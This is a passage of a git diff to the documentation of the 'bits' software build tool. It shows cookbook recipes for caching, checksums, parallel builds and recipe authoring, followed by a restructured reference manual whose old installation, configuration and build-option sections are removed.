invocation, write it once with `bits init`: + +```bash +# One-time setup — writes bits.rc in the current directory +bits init --remote-store https://store.example.com/store \ + --write-store b3://mybucket/store \ + --organisation MYORG + +# Every subsequent invocation picks up the settings automatically +bits build ROOT +``` + +To check what will be written before touching the file system, add `--dry-run`. To update a single key in an existing `bits.rc` without replacing the whole file, add `--append`. + +### Share pre-built artifacts over S3 + +```bash +# CI: build and upload (boto3 backend; ::rw sets both --remote-store and --write-store) +export AWS_ACCESS_KEY_ID=ci-key +export AWS_SECRET_ACCESS_KEY=ci-secret +bits build --remote-store b3://mybucket/bits-cache::rw ROOT + +# Developer workstation: fetch from the same cache, never upload +bits build --remote-store b3://mybucket/bits-cache ROOT +``` + +See [§21 Remote binary store backends](REFERENCE.md#21-remote-binary-store-backends) for the full list of backends (HTTP, S3, boto3, rsync, CVMFS) and detailed CI/CD patterns. + +### Enforce reproducible source downloads with checksums + +First, compute and write checksums for all sources: + +```bash +bits build --write-checksums MyPackage +``` + +This creates or updates `checksums/MyPackage.checksum` in the recipe directory. Then enforce them on all future builds: + +```bash +bits build --enforce-checksums MyPackage +``` + +Or make it the site default in a defaults profile: + +```yaml +# defaults-production.sh +checksum_mode: enforce +``` + +Any mismatch or missing checksum aborts the build, catching supply-chain tampering or silent mirror corruption. + +### Speed up large builds + +**Built-in Python scheduler** — build up to N packages in parallel, each using M cores: + +```bash +bits build --builders 4 --jobs 8 my_large_stack +``` + +The scheduler dispatches packages as soon as their dependencies are satisfied. Use `--resources` to declare per-package CPU and memory budgets and prevent overcommit (see [§5 Parallel build modes](REFERENCE.md#5-building-packages)). + +**Makeflow** — hand the dependency graph to the external [CCTools Makeflow](https://ccl.cse.nd.edu/software/) engine: + +```bash +bits build --makeflow my_large_stack + +# Inspect what Makeflow generated if a build fails +cat sw/BUILD/*/makeflow/Makeflow +cat sw/BUILD/*/makeflow/log +``` + +**Pipelined upload** — overlap tarball upload with downstream builds and prefetch remote tarballs in the background (Makeflow only): + +```bash +bits build --makeflow --pipeline \ + --write-store b3://mybucket/store \ + --prefetch-workers 4 \ + my_large_stack +``` + +`--pipeline` splits each rule into `.build` / `.tar` / `.upload` stages; `--prefetch-workers` hides network latency by fetching tarballs before the build loop needs them. + +**Parallel source downloads** — fetch multiple source archives concurrently within each package: + +```bash +bits build --parallel-sources 4 my_large_stack +``` + +Useful when a recipe lists several large `sources:` URLs. + +### Build memory-hungry packages without exhausting RAM + +For packages whose parallel builds risk OOM, limit concurrent builds and/or declare per-package resource budgets: + +```bash +# Option 1: reduce concurrent package builds +bits build --builders 1 --jobs 8 my_stack + +# Option 2: use a resource file +bits build --builders 4 --resources my_resources.json my_stack +``` + +Where `my_resources.json` declares expected CPU and memory per package: + +```json +{ + "gcc": {"cpu": 4, "rss_mb": 1024}, + "llvm": {"cpu": 8, "rss_mb": 4096} +} +``` + +The Python scheduler will not start a new build unless the declared resources are free. + +### Evict old packages to free disk space + +```bash +# Evict packages not used in the last 14 days +bits cleanup --max-age 14 + +# Free space until at least 50 GiB is available, removing least-recently-used packages first +bits cleanup --min-free 50 + +# Dry run: show what would be removed without deleting anything +bits cleanup --max-age 7 --min-free 100 -n +``` + +Bits tracks a sentinel file for each installed package; `bits cleanup` sorts by last-touched time and evicts the oldest entries first. Combine both flags to enforce both a time limit and a disk-space floor in a single pass. See [§7 bits cleanup](USERGUIDE.md#7-cleaning-up) for full options. + +### Verify a live deployment against a build manifest + +After publishing to CVMFS (or any shared store), confirm that what is deployed matches what was built: + +```bash +bits verify --from-manifest alice-o2-20260411.json \ + --cvmfs-root /cvmfs/alice.cern.ch +``` + +`bits verify` reads the SHA-256 digests and provider commit SHAs recorded in the manifest and checks them against the live files on disk. Any mismatch is reported as an error. The manifest is written automatically during `bits build` to `$WORK_DIR/MANIFESTS/`. See [§23 bits verify](REFERENCE.md#23-bits-verify--deployment-verification) for full options. + +### CI/CD: build and publish only on the main branch + +Use conditional logic in CI to upload binaries only for production builds: + +```bash +if [ "$CI_COMMIT_BRANCH" = "main" ]; then + bits build --remote-store b3://mybucket/store \ + --write-store b3://mybucket/store MyStack +else + # Feature branches: download cached binaries but never upload + bits build --remote-store b3://mybucket/store MyStack +fi +``` + +This ensures PR builds benefit from the shared cache without polluting the production store. + +--- + +## Writing Recipes with bits-recipe-tools + +[`bits-recipe-tools`](https://github.com/bitsorg/bits-recipe-tools) is an optional package that provides a higher-level recipe authoring style built around reusable shell function hooks. Instead of writing a flat Bash build script, the recipe author overrides only the steps that differ from the standard template. + +### Plain Run() function (no external package needed) + +Any recipe may define a `Run()` function directly. This is the simplest way to get clearly separated named phases without any dependencies: + +```bash +Run() { + cmake -S "$SOURCEDIR" -B "$BUILDDIR" \ + -DCMAKE_INSTALL_PREFIX="$INSTALLROOT" + cmake --build "$BUILDDIR" --parallel "$JOBS" + cmake --install "$BUILDDIR" +} +``` + +`build_template.sh` calls `Run "$@"` if the function is defined after sourcing the compiled recipe script. + +### How bits-recipe-tools works + +`bits-recipe-tools` ships include files — `CMakeRecipe`, `AutoToolsRecipe`, and others — each of which defines a `Run()` function that orchestrates the build in terms of five lifecycle hooks: + +| Hook | Default behaviour | +|------|-------------------| +| `Prepare()` | Sets up the build directory and any pre-configure steps. | +| `Configure()` | Runs `cmake` (or `./configure`) with standard flags. | +| `Make()` | Runs `make -j$JOBS` (or `cmake --build`). | +| `MakeInstall()` | Runs `make install` (or `cmake --install`). | +| `PostInstall()` | Runs any post-install fixups (e.g. removing libtool archives). | + +A recipe overrides only the hooks it needs to customise; all others run with sensible defaults. `bits-recipe-tools` must be listed as a `build_requires` of the recipe. + +### MODULE_OPTIONS — controlling modulefile generation + +Set `MODULE_OPTIONS` **before** sourcing the include file so the `PostInstall()` hook picks it up: + +```bash +MODULE_OPTIONS="--bin --lib" +. $(bits-include CMakeRecipe) +``` + +| Flag | Effect on the modulefile | +|------|--------------------------| +| `--bin` | Prepends `$INSTALLROOT/bin` to `PATH`. | +| `--lib` | Prepends `$INSTALLROOT/lib` to `LD_LIBRARY_PATH`. | +| `--cmake` | Adds `$INSTALLROOT` to `CMAKE_PREFIX_PATH`. | +| `--root` | Defines `ROOT_` (uppercased name) as `$INSTALLROOT`. | + +### Example — CMake library (cppgsl, header-only) + +```yaml +package: cppgsl +version: "4.0.0" +source: https://github.com/microsoft/GSL.git +tag: "v4.0.0" +build_requires: + - cmake + - bits-recipe-tools +--- +# Header-only: CMake discovery + ROOT variable, no runtime paths +MODULE_OPTIONS="--cmake --root" +. $(bits-include CMakeRecipe) + +# Override only Configure to disable tests; everything else is inherited. +Configure() { + cmake -S "$SOURCEDIR" -B "$BUILDDIR" \ + -DCMAKE_INSTALL_PREFIX="$INSTALLROOT" \ + -DGSL_TEST=OFF \ + -DCMAKE_BUILD_TYPE=Release +} +``` + +### Example — Autotools library + +```yaml +package: libfoo +version: "1.4.2" +source: https://example.com/libfoo.git +tag: "v1.4.2" +build_requires: + - autotools + - bits-recipe-tools +--- +MODULE_OPTIONS="--bin --lib --root" +. $(bits-include AutotoolsRecipe) + +# Default Configure() runs: "$SOURCEDIR/configure" --prefix="$INSTALLROOT" +# Override to add custom options. +Configure() { + "$SOURCEDIR/configure" \ + --prefix="$INSTALLROOT" \ + --enable-shared \ + --disable-static +} +``` + +### Example — Custom post-install fixup + +Override `PostInstall()` to remove files that should not be installed or to patch up the modulefile: + +```yaml +package: mylib +version: "2.0.0" +source: https://example.com/mylib.git +tag: "v2.0.0" +build_requires: + - cmake + - bits-recipe-tools +--- +MODULE_OPTIONS="--bin --lib --cmake" +. $(bits-include CMakeRecipe) + +PostInstall() { + # Remove static archives and libtool metadata left by make install + find "$INSTALLROOT/lib" \( -name '*.a' -o -name '*.la' \) -delete + # Call the default PostInstall to generate the modulefile + defaults_PostInstall +} +``` + +Call `defaults_PostInstall` at the end of any `PostInstall()` override to ensure the modulefile is still generated correctly. + +### Error handling in recipes — how failures are detected + +bits runs every recipe body under `set -e` **and** `set -o pipefail`, captures the recipe's real exit code, and tees all output to the per-package `log`. When a build fails, the `BUILD FAILED` message now includes an **Error excerpt** — the matched high-signal error lines plus the tail of the log — so you usually do not need to open the log by hand. Re-run with `--debug` (and optionally `--keep-tmp`) to keep the build tree for manual iteration. + +Because failure detection relies on a command exiting non-zero, two authoring pitfalls can let a real error slip through. Both are recipe bugs, not framework bugs. + +**Pitfall 1 — a non-final `&&`/`||` chain hides its own failure.** `set -e` does *not* abort when the failing command is on the left of an `&&`/`||` list (only the command after the final operator is checked). So if such a chain is **not** the last statement in a function, a failure in it is silently swallowed and execution continues: + +```bash +# BAD: if wget/tar/cmake fails, set -e is suppressed (left of &&) and +# `make` still runs — on missing or half-prepared inputs. +Make() { + wget "$url" && tar xf "$tarball" && cmake "$SOURCEDIR" && cp -r extra . + make -j"$JOBS" + make install +} + +# GOOD: separate statements so set -e fires on the first failure. +Make() { + wget "$url" + tar xf "$tarball" + cmake "$SOURCEDIR" + cp -r extra . + make -j"$JOBS" + make install +} +``` + +**Pitfall 2 — `pipefail` turns a legitimately non-zero pipeline element into a build failure.** A common idiom such as `grep -rl PATTERN . | xargs sed ...` aborts the whole build when `grep` finds no match (exit 1) — even though "no match" is fine. Guard the element whose non-zero exit is acceptable: + +```bash +# BAD: aborts if grep matches nothing. +grep -rl g77 . | xargs --no-run-if-empty sed -i 's/\bg77\b/gfortran/g' + +# GOOD: tolerate the empty-match case. +{ grep -rl g77 . || true; } | xargs --no-run-if-empty sed -i 's/\bg77\b/gfortran/g' +``` + +**Known limitation — errors that exit 0 are not intercepted.** bits can only detect a failure that produces a non-zero exit code. A third-party `configure` or `make` that prints errors but still returns 0 (e.g. a broken shell test inside a vendored `configure`) will not be caught automatically. Inspect the **Error excerpt** in the failure message or the full `log`; if a package "succeeds" but is incomplete, search its log for `error:` / `command not found` and fix the upstream script or add a `MakeInstall()`/`PostInstall()` sanity check that fails loudly. + +--- + +*Back to [User Guide](USERGUIDE.md) · [Reference Manual](REFERENCE.md)* diff --git a/REFERENCE.md b/docs/REFERENCE.md similarity index 59% rename from REFERENCE.md rename to docs/REFERENCE.md index e259af82..6ff5cd4f 100644 --- a/REFERENCE.md +++ b/docs/REFERENCE.md @@ -1,814 +1,39 @@ -# Bits Build Tool — Reference Manual +# Bits — Reference Manual -## Table of Contents - -### Part I — User Guide -1. [Introduction](#1-introduction) -2. [Installation & Prerequisites](#2-installation--prerequisites) -3. [Quick Start](#3-quick-start) - - [The bits development-to-deployment workflow](WORKFLOWS.md) ↗ -4. [Configuration](#4-configuration) -5. [Building Packages](#5-building-packages) - - [Parallel build modes](#parallel-build-modes) - - [Async pipeline options](#--pipeline----pipelined-tarball-creation-and-upload-makeflow-only) -6. [Managing Environments](#6-managing-environments) -7. [Cleaning Up](#7-cleaning-up) - - [bits clean — remove temporary build artifacts](#bits-clean--remove-temporary-build-artifacts) - - [bits cleanup — evict packages from a persistent workDir](#bits-cleanup--evict-packages-from-a-persistent-workdir) -8. [Cookbook](#8-cookbook) - -### Part II — Developer Guide -9. [Architecture Overview](#9-architecture-overview) -10. [Setting Up a Development Environment](#10-setting-up-a-development-environment) -11. [Key Source Files](#11-key-source-files) -12. [Writing Recipes](#12-writing-recipes) - - [Function-based recipes with bits-recipe-tools](#function-based-recipes-with-bits-recipe-tools) -13. [Repository Provider Feature](#13-repository-provider-feature) -14. [Writing and Running Tests](#14-writing-and-running-tests) -15. [Contributing](#15-contributing) - -### Part III — Reference Guide -16. [Command-Line Reference](#16-command-line-reference) - - [bits build](#bits-build) - - [bits deps](#bits-deps) - - [bits doctor](#bits-doctor) - - [bits status](#bits-status) - - [bits verify](#bits-verify) - - [bits init](#bits-init) - - [bits clean / bits cleanup](#bits-clean) - - [bits publish](#bits-publish-1) -17. [Recipe Format Reference](#17-recipe-format-reference) -18. [Defaults Profiles](#18-defaults-profiles) -19. [Architecture-Independent (Shared) Packages](#19-architecture-independent-shared-packages) -20. [Environment Variables](#20-environment-variables) -21. [Remote Binary Store Backends](#21-remote-binary-store-backends) - - [Supported backends](#supported-backends) - - [Content-addressable tarball layout](#content-addressable-tarball-layout) - - [Build lifecycle with a store](#build-lifecycle-with-a-store) - - [CI/CD patterns](#cicd-patterns) - - [Source archive caching](#source-archive-caching) - - [Store integrity verification](#store-integrity-verification) -22. [Docker Support](#22-docker-support) - - [workDir mount point inside the container](#workdir-mount-point-inside-the-container) - - [No-relocation builds with `--cvmfs-prefix`](#no-relocation-builds-with---cvmfs-prefix) -22a. [Recipe Sandbox](#22a-recipe-sandbox) -22b. [Cross-compilation via QEMU](#22b-cross-compilation-via-qemu) - - [How it works](#how-it-works) - - [Sandbox modes](#sandbox-modes) - - [Per-recipe network control](#per-recipe-network-control) - - [Docker-in-Docker (DinD)](#docker-in-docker-dind) -22c. [bits verify — Deployment Verification](#22c-bits-verify--deployment-verification) - - [What is checked](#what-is-checked) - - [Search order](#search-order) - - [Output formats](#output-formats) - - [Exit codes](#exit-codes) - - [Status values](#status-values) - - [CLI reference](#cli-reference-verify) -23. [Forcing or Dropping the Revision Suffix (`force_revision`)](#23-forcing-or-dropping-the-revision-suffix-force_revision) -24. [Design Principles & Limitations](#24-design-principles--limitations) -25. [Build Manifest](#25-build-manifest) - - [What is recorded](#what-is-recorded) - - [Manifest location and naming](#manifest-location-and-naming) - - [Manifest schema reference](#manifest-schema-reference) - - [Replaying a build with `--from-manifest`](#replaying-a-build-with---from-manifest) -26. [CVMFS Publishing Pipeline](#26-cvmfs-publishing-pipeline) - - [Overview](#overview-1) - - [bits publish](#bits-publish) - - [bits-cvmfs-ingest — building from source](#bits-cvmfs-ingest--building-from-source) - - [bits-cvmfs-ingest — configuration and running](#bits-cvmfs-ingest--configuration-and-running) - - [cvmfs-publish.sh — the publisher script](#cvmfs-publishsh--the-publisher-script) - - [CI/CD integration](#cicd-integration-1) - - [bits-console — web interface for the GitLab-driven pipeline](#bits-console--web-interface-for-the-gitlab-driven-pipeline) - ---- - -# Part I — User Guide - -## 1. Introduction - -**Bits** is a build orchestration and dependency management tool for complex software stacks. It is derived from [aliBuild](https://github.com/alisw/alibuild), the build system developed for the ALICE experiment software at CERN, and is designed for communities that need to build and maintain large collections of interdependent packages with reproducibility, parallelism, and minimal overhead. - -> **Acknowledgement.** Bits is a fork of [aliBuild](https://github.com/alisw/alibuild), originally created by the ALICE collaboration at CERN. The recipe format, dependency-resolution model, content-addressable build hashing, remote binary store, and Docker build support all originate from aliBuild. Bits extends aliBuild with the repository provider mechanism, package families, shared packages, extended parallel builds and other features described in this document. - -Bits is **not** a traditional package manager like `apt` or `conda`. Instead it automates fetching sources, resolving dependencies, building, and installing software in a controlled, reproducible environment. Each package is described by a *recipe* — a plain-text file with a YAML metadata header and a Bash build script — stored in a version-controlled recipe repository. - -Key capabilities at a glance: - -- Automatic topological dependency resolution and ordering -- Content-addressable incremental builds — only rebuilds what changed -- Parallel package builds and multi-core compilation -- Remote binary stores (HTTP, S3, CVMFS, rsync) to share pre-built artifacts -- Docker-based builds for cross-compilation or reproducible CI environments -- Git and Sapling SCM support -- Dynamic recipe repositories loaded at dependency-resolution time - -### What sets bits apart from other package managers - -The key distinction between bits and conventional package managers (apt, conda, Spack, …) is that it operates on a **single, unified recipe language and build system that works identically on a developer's laptop and in CI**. There is no separate "local build tool" and "CI build tool". The exact same `bits build` command that a developer runs interactively also drives the CI pipeline that publishes packages to CVMFS for the entire community. - -This has three practical consequences: - -**Local development with full-stack context.** A developer can check out a package's source in a local directory, run `bits build`, and have bits automatically build that local version while resolving all other dependencies from the upstream repository. The full software stack is available on the developer's workstation without any manual environment setup. - -**"Works on my machine" is meaningful.** Because the build environment — recipe, flags, dependency graph, compiler toolchain — is identical locally and in CI, a package that builds and runs correctly locally will behave the same in CI. There is no hidden discrepancy between local and CI environments. - -**A continuous path from edit to CVMFS.** The lifecycle of a change travels along a single, unbroken toolchain: local edit → local build & test → commit → CI build → CVMFS publication. Each step reuses the same recipes, the same binary store, and the same bits commands. The [full development workflow](WORKFLOWS.md) is described in detail in WORKFLOWS.md. - ---- - -## 2. Installation & Prerequisites - -### System requirements - -| Requirement | Notes | -|-------------|-------| -| Linux or macOS | x86-64 or ARM64 | -| Python 3.8+ | Required | -| Git | Required; Sapling (`sl`) is optional | -| `modulecmd` | Required for `bits enter / load / unload` | - -Install Environment Modules for your platform: - -```bash -# macOS -brew install modules - -# Debian / Ubuntu -apt-get install environment-modules - -# RHEL / CentOS / AlmaLinux -yum install environment-modules -``` - -### Installing Bits - -```bash -git clone https://github.com/bitsorg/bits.git -cd bits -export PATH=$PWD:$PATH -pip install -e . -``` - ---- - -## 3. Quick Start - -```bash -# 1. Clone bits and at least one recipe repository -git clone https://github.com/bitsorg/bits.git -cd bits && export PATH=$PWD:$PATH && cd .. - -git clone https://github.com/bitsorg/alice.bits.git -cd alice.bits - -# 2. Check that your system is ready -bits doctor ROOT - -# 3. Build a package (all dependencies are resolved and built automatically) -bits build ROOT - -# 4. Enter the built environment in a new sub-shell -bits enter ROOT/latest - -# 5. Use the software -root -b - -# 6. Leave the sub-shell to return to your normal environment -exit -``` - ---- - -## 3a. The bits Development-to-Deployment Workflow {#the-bits-development-to-deployment-workflow} - -The key distinction between bits and conventional package managers is that a **single, shared toolchain connects every developer's laptop to the experiment's CVMFS software repository**. The exact same `bits build` command that a developer runs interactively drives the CI pipeline that publishes packages to CVMFS for the entire community. Local source checkouts (`git clone ` placed next to the recipe directory) are detected automatically and built in preference to the upstream version — while all other dependencies are resolved from the shared recipe repository as usual. - -The workflow spans five phases: local setup from shared recipes → local development with full-stack context → full-stack local testing → commit and peer review → CI build and CVMFS publication. The CI publication step supports two distinct paths, resulting in packages in **different CVMFS namespaces** depending on the role of the person triggering the build: - -- **Production build** (`group-admin` / `bits-admin`) — triggered via the **Build → Production** button in bits-console; publishes to the community's `cvmfs_prefix` (e.g. `/cvmfs/sft.cern.ch/lcg/releases/`), available experiment-wide. The pipeline enforces this role server-side; it cannot be bypassed. -- **Personal-area build** (any authenticated user) — triggered via the **Build → Personal area** button; publishes to `cvmfs_user_prefix//…` (e.g. `/cvmfs/sft.cern.ch/lcg/user/jsmith/`), independent of the group stack rebuild cycle and accessible without admin rights. - -The full phase-by-phase walkthrough, workflow diagram, and command examples are in **[WORKFLOWS.md](WORKFLOWS.md)**. - ---- - -## 4. Configuration - -Bits reads an optional INI-style configuration file at startup to set the working directory, recipe search paths, and other defaults. The file can be created manually or with `bits init` in [config mode](#config-mode----write-persistent-settings-to-bitsrc). - -### File locations and search order - -Bits tries the following locations in order and loads the **first file it finds**, ignoring the rest: - -| Priority | Path | Description | -|---|---|---| -| 1 | `--config=FILE` | Explicit path given on the command line | -| 2 | `./bits.rc` | Project-local config in the current directory | -| 3 | `./.bitsrc` | Hidden project-local config | -| 4 | `~/.bitsrc` | User-level config in the home directory | - -If `--config` names a file that does not exist the search continues down the list. If no file is found at all the built-in defaults apply. - -### File format - -The file uses Windows INI-style syntax. Two section names are recognised: - -- **`[bits]`** — read first; provides global defaults. -- **`[]`** — read second and overrides `[bits]`; the section name must match the current `organisation` value (default `ALICE`). This allows a single file to serve multiple organisations with different settings. - -Within each section, each line is `key = value` (spaces around `=` are stripped). Lines that do not contain `=` are ignored, so plain-text comments work without a `#` prefix (though `#` comments are harmless too). Sections are delimited by blank lines — the parser reads from the section header up to the first blank line. - -### Variables - -The `[bits]` section recognises two classes of keys: legacy shell-level variables (exported to the environment for use by shell scripts) and Python-level settings (applied directly to `bits` option defaults before argument parsing). - -**Shell-level variables** (also exported to the environment for shell scripts): - -| Config key | Exported as | Default | Description | -|---|---|---|---| -| `organisation` | `BITS_ORGANISATION` | `ALICE` | Organisation name. Also selects the organisation-specific section in this file. | -| `pkg_prefix` | `BITS_PKG_PREFIX` | `VO_` | Prefix prepended to package names in `bits q` output. | -| `repo_dir` | `BITS_REPO_DIR` | `alidist` | Root directory for recipe repositories. | -| `sw_dir` | `BITS_WORK_DIR` | `sw` | Output and work directory for built packages, source mirrors, and module files. | -| `search_path` | `BITS_PATH` | _(empty)_ | Comma-separated list of additional recipe search directories. Absolute paths are used directly; relative names have `.bits` appended. | - -**Python-level option defaults** (set before argument parsing; overridden by any explicit CLI flag or environment variable): - -| Config key | Equivalent CLI flag | Description | -|---|---|---| -| `remote_store` | `--remote-store URL` | Binary store to fetch pre-built tarballs from. | -| `write_store` | `--write-store URL` | Binary store to upload newly-built tarballs to. | -| `providers` | `--providers URL` / `$BITS_PROVIDERS` | URL of the bits-providers repository. | -| `provider_policy` | `--provider-policy POLICY` | Comma-separated `name:position` pairs controlling where each repository-provider's checkout lands in `BITS_PATH`. See [§13 Provider policy](#provider-policy). | -| `store_integrity` | `--store-integrity` | Set to `true`, `1`, or `yes` to enable local tarball integrity verification. Off by default. See [§21 Store integrity verification](#store-integrity-verification). | -| `work_dir` | `-w DIR` / `$BITS_WORK_DIR` | Default work/output directory. | -| `architecture` | `-a ARCH` | Default target architecture. | -| `defaults` | `--defaults PROFILE` | Default profile(s), `::` separated. | -| `config_dir` | `-c DIR` | Default recipe directory. | -| `reference_sources` | `--reference-sources DIR` | Default mirror directory. | -| `organisation` | `--organisation NAME` | Organisation tag (see also shell-level table above). | - -These keys can be written automatically with `bits init` — see [§16 bits init config mode](#config-mode----write-persistent-settings-to-bitsrc). - -### Precedence - -The config file only fills in values that are not already set. The full precedence chain from highest to lowest is: - -``` -explicit CLI flag > environment variable > bits.rc value > built-in default -``` - -For example, if `bits.rc` sets `sw_dir = /data/sw` but the user runs `bits build -w /tmp/sw ROOT`, the `-w` flag wins. If neither a flag nor an environment variable is set, `/data/sw` from the config file applies. - -### Example configuration - -```ini -[bits] -organisation = ALICE - -[ALICE] -pkg_prefix = VO_ALICE -sw_dir = ../sw -repo_dir = . -search_path = common.bits -``` - -The `[ALICE]` section overrides or extends `[bits]` for the `ALICE` organisation. A second organisation (e.g. `[CMS]`) can coexist in the same file with different `sw_dir` and `search_path` values; only the section matching the current `organisation` key is applied. - -Every setting can also be overridden by an environment variable — see [§19 Environment Variables](#19-environment-variables) for the full mapping. - ---- - -## 5. Building Packages - -```bash -bits build [options] PACKAGE [PACKAGE ...] -``` - -Bits resolves the full transitive dependency graph of each requested package, computes a content-addressable hash for every node, downloads any pre-built artifacts that already exist in a remote store, and builds the rest in topological order. - -### How a build proceeds - -1. **Recipe discovery** — Bits locates `.sh` in each directory on `search_path` (appending `.bits` to each name). Repository-provider packages (see [§13](#13-repository-provider-feature)) are cloned first to extend the search path before the main resolution pass. -2. **Dependency resolution** — `requires`, `build_requires`, and `runtime_requires` fields are read recursively, forming a DAG. Cycles are reported as errors. -3. **Hash computation** — A hash is computed for each package from its recipe text, source commit, dependency hashes, and environment. Packages with a matching hash in a store are downloaded instead of rebuilt. -4. **Source fetching** — Source repositories are cloned into a local mirror and then checked out into a build area. Up to 8 repositories are fetched in parallel. -5. **Build execution** — Each package's Bash script runs in an isolated environment with sanitised locale and only its declared dependencies visible. -6. **Post-build** — A modulefile and a versioned tarball are written; the tarball may be uploaded to a write store. - - ---- - -### Common options - -| Option | Description | -|--------|-------------| -| `--defaults PROFILE` | Defaults profile(s) to load. Combines multiple files with `::` (e.g. `--defaults release::myproject`). Default: `release`, which loads `defaults-release.sh`. | -| `-j N`, `--jobs N` | Parallel compilation jobs per package. Default: CPU count. | -| `--builders N` | Number of packages to build simultaneously using the Python scheduler. Default: 1 (serial). Mutually exclusive with `--makeflow`. | -| `--makeflow` | Hand the entire dependency graph to the external [Makeflow](https://ccl.cse.nd.edu/software/makeflow/) workflow engine instead of the built-in Python scheduler. Mutually exclusive with `--builders N`. | -| `--pipeline` | Split each Makeflow rule into three stages (`.build`, `.tar`, `.upload`) so that tarball creation and upload overlap with downstream builds. Requires `--makeflow`; silently disabled otherwise. | -| `--prefetch-workers N` | Spawn *N* background threads that fetch remote tarballs and source archives ahead of the main build loop. Default: 0 (disabled). Has no effect when no remote store is configured. | -| `--parallel-sources N` | Download up to *N* `sources:` URLs concurrently within a single package checkout. Default: 1 (sequential). | -| `-u`, `--fetch-repos` | Update all source mirrors before building. | -| `-w DIR`, `--work-dir DIR` | Work/output directory. Default: `sw`. | -| `--remote-store URL` | Binary store to pull pre-built tarballs from. | -| `--write-store URL` | Binary store to push newly-built tarballs to. | -| `--force` | Rebuild even if the package hash already exists. | -| `--docker` | Build inside a Docker container. | -| `--debug` | Verbose debug output. | -| `--dry-run` | Print what would happen without executing. | -| `--keep-tmp` | Preserve build directories after success (useful for debugging). | - -### Parallel build modes - -Bits offers two independent mechanisms for building multiple packages at the same time. They are mutually exclusive — if `--makeflow` is given, `--builders` is ignored. - -#### `--builders N` — Python scheduler (default) - -The built-in Python scheduler runs up to *N* package builds concurrently using a thread-pool with a priority queue. Dependencies are tracked in memory: a package is only dispatched once all of its transitive dependencies have finished. - -```bash -# Build up to 4 packages simultaneously, each using 8 cores -bits build --builders 4 --jobs 8 MyStack -``` - -**Characteristics:** - -- No external dependencies — works out of the box. -- Scheduling is priority-aware: packages required by more dependents are started first. -- Optional resource-aware scheduling: if `--resources FILE` is provided (a JSON file that declares expected CPU and RSS per package), bits will not start a new package build unless the declared resources are available. This prevents memory exhaustion on machines where several large packages would otherwise run at the same time. -- Errors from any worker are reported after the full run completes and cause bits to exit with a non-zero status. - -#### `--makeflow` — Makeflow workflow engine - -When `--makeflow` is passed, bits does **not** execute builds during the dependency-graph walk. Instead, it collects every pending build command into a [Makeflow](https://ccl.cse.nd.edu/software/makeflow/) declarative workflow file and then invokes the `makeflow` binary to execute the graph. Makeflow must be installed separately (it is part of the [CCTools](https://ccl.cse.nd.edu/software/) suite). - -```bash -# Run the full build under Makeflow -bits build --makeflow MyStack - -# Debug a Makeflow failure -bits build --makeflow --debug MyStack -``` - -**Output locations (useful for debugging):** - -| Path | Contents | -|------|----------| -| `sw/BUILD//makeflow/Makeflow` | The generated workflow definition. | -| `sw/BUILD//makeflow/log` | Makeflow's execution log. | - -**When Makeflow fails**, bits prints a structured error message with the exact paths, the failed command, and suggested next steps — including how to rerun with `--debug` and where to find the full log. - -**Choosing between the two modes:** - -| | `--builders N` | `--makeflow` | -|-|---|---| -| External dependency | None | `makeflow` binary (CCTools) | -| Parallelism control | You set *N* | Makeflow decides | -| Resource awareness | Optional (`--resources`) | Not built-in | -| Best for | Interactive builds, CI | Large distributed or cluster builds | - -#### `--pipeline` — pipelined tarball creation and upload (Makeflow only) - -When both `--makeflow` and `--pipeline` are given, each package's Makeflow rule is split into three sequential stages: - -| Stage | Makeflow target | What it does | -|-------|----------------|--------------| -| Build | `.build` | Compiles the package; skips tarball creation (`SKIP_TARBALL=1`). | -| Tar | `.tar` | Creates the versioned tarball and dist-link tree in a `tar_template.sh` invocation. | -| Upload | `.upload` | Uploads the tarball to the write store (Boto3 or rsync). Omitted when no write store is configured or when using an HTTP/CVMFS read-only backend. | - -Because `.tar` and `.upload` are separate Makeflow rules, Makeflow can overlap them with downstream package builds as soon as the `.build` rule completes. This is particularly effective in large stacks where package *B* depends on *A* but the tarball upload of *A* is slow: *B* can start building while *A*'s tarball is still being uploaded. - -```bash -bits build --makeflow --pipeline --write-store b3://mybucket/store MyStack -``` - -Constraints: -- Requires `--makeflow`; silently reverts to standard behaviour when used without it. -- When combined with `--docker`, the `.tar` and `.upload` stages still run on the host after the container exits (via the volume mount), so the pipeline is fully compatible with Docker builds. - -#### `--prefetch-workers N` — background tarball prefetch - -Prefetch workers download remote tarballs and source archives in the background while the build loop is running. This hides network latency for the common case where a remote binary store holds most packages. - -```bash -# Fetch up to 4 tarballs concurrently in the background -bits build --prefetch-workers 4 --remote-store https://store.example.com/store MyStack -``` - -Bits spawns a thread pool of *N* threads at startup and immediately submits a prefetch task for every pending package. Each task: -1. Attempts to fetch the pre-built tarball from the remote store into the content-addressable store directory. -2. Downloads any `sources:` URLs declared in the recipe. - -Coordination with the main build loop uses *sentinel files*: a `.downloading` file is created atomically when a thread claims a download, and deleted when the download finishes. The main loop waits for the sentinel before calling `fetch_tarball`, so it never blocks on a download that is already in progress. Stale sentinels from a crashed previous run are cleaned up automatically at startup. - -`--prefetch-workers` has no effect when no `--remote-store` is configured, or when the remote store is read-only (e.g. HTTP). - -#### `--parallel-sources N` — concurrent source downloads - -Each package may declare multiple `sources:` URLs (e.g. upstream release tarball plus a patch archive). By default, bits downloads these sequentially. With `--parallel-sources N`, up to *N* URLs are fetched concurrently within a single package checkout: - -```bash -bits build --parallel-sources 4 MyStack -``` - -If any source download fails, the exception is re-raised immediately and the package build is aborted. The remaining concurrent downloads are cancelled via thread pool shutdown. When `N ≤ 1` or the package has only a single source, the sequential code path is used (no overhead from the thread pool). - - ---- - -## 6. Managing Environments - -Bits uses the standard [Environment Modules](https://modules.sourceforge.net/) system (`modulecmd`) to manage runtime environments. A *module* corresponds to one built package version. The `bits` shell script discovers `modulecmd` automatically in three locations: on `$PATH` (v3), via `envml` (v4+), or via Homebrew (`brew --prefix modules`) on macOS. If none is found, it prints the appropriate install command (`apt-get install environment-modules`, `yum install environment-modules`, or `brew install modules`). - -Before any module command runs, bits rebuilds the `MODULES//` directory by scanning every installed package for an `etc/modulefiles/` file and copying it into the right place. Pass `--no-refresh` to skip this scan and use whatever is already on disk. - -### Global options - -The following options apply to all module sub-commands and must be placed before the sub-command name: - -| Option | Description | -|--------|-------------| -| `-w DIR`, `--work-dir DIR` | Work directory containing the `sw/` tree. Defaults to `$BITS_WORK_DIR` (then `sw`, then `../sw`). | -| `-a ARCH`, `--architecture ARCH` | Architecture sub-directory. Auto-detected from `bitsBuild architecture` or the most recently modified directory under the work dir. | -| `--no-refresh` | Skip rebuilding `MODULES//` before executing the command. Useful when the installation has not changed. | - -### 